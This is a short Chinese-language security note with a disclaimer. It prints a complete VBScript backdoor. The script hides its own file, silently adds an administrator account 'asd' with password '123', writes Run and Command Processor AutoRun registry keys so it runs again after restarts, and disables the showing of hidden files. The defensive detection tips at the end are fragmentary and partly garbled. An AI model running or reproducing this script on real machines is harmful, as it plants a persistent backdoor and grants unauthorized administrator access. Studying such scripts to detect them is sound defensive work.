⚠ 安全警示:以下內容僅供安全研究與防禦分析,嚴禁用於非授權系統植入後門。
惡意腳本常用 VBS 建立隱藏管理員帳號、修改註冊表實現持久化。典型碼如下:
dim wsh,FA,FSO
set fso=CreateObject("Scripting.FileSystemObject")
Set FA= FSO.GetFile(WScript.scriptFullName)
FA.Attributes =34 ' 系統+隱藏+唯讀
set wsh=CreateObject("WScript.Shell")
wsh.run "net user asd 123 /add",0,true ' 建立帳號 asd/123
wsh.run "net localgroup administrators asd /add",0,true ' 加入管理員組
wsh.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32",""&FA&"" ' Run 鍵持久化
wsh.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD" ' 隱藏隱藏檔選項
wsh.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun",""&FA&"" ' CMD 自動執行
wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun",""&FA&""
Attributes=34 (系統+隱藏+唯讀) 使腳本檔在預設檔案總管中不可見。net user /add + net localgroup administrators 秒建後門帳號。HKLM\...\Run、HKCU\...\Run、HKLM\Software\Microsoft\Command Processor\AutoRun 異常值。lusrmgr.msc)。wscript.exe/cscript.exe 異常子程序與註冊表寫入。理解攻擊手法才能建立有效防禦,請勿濫用。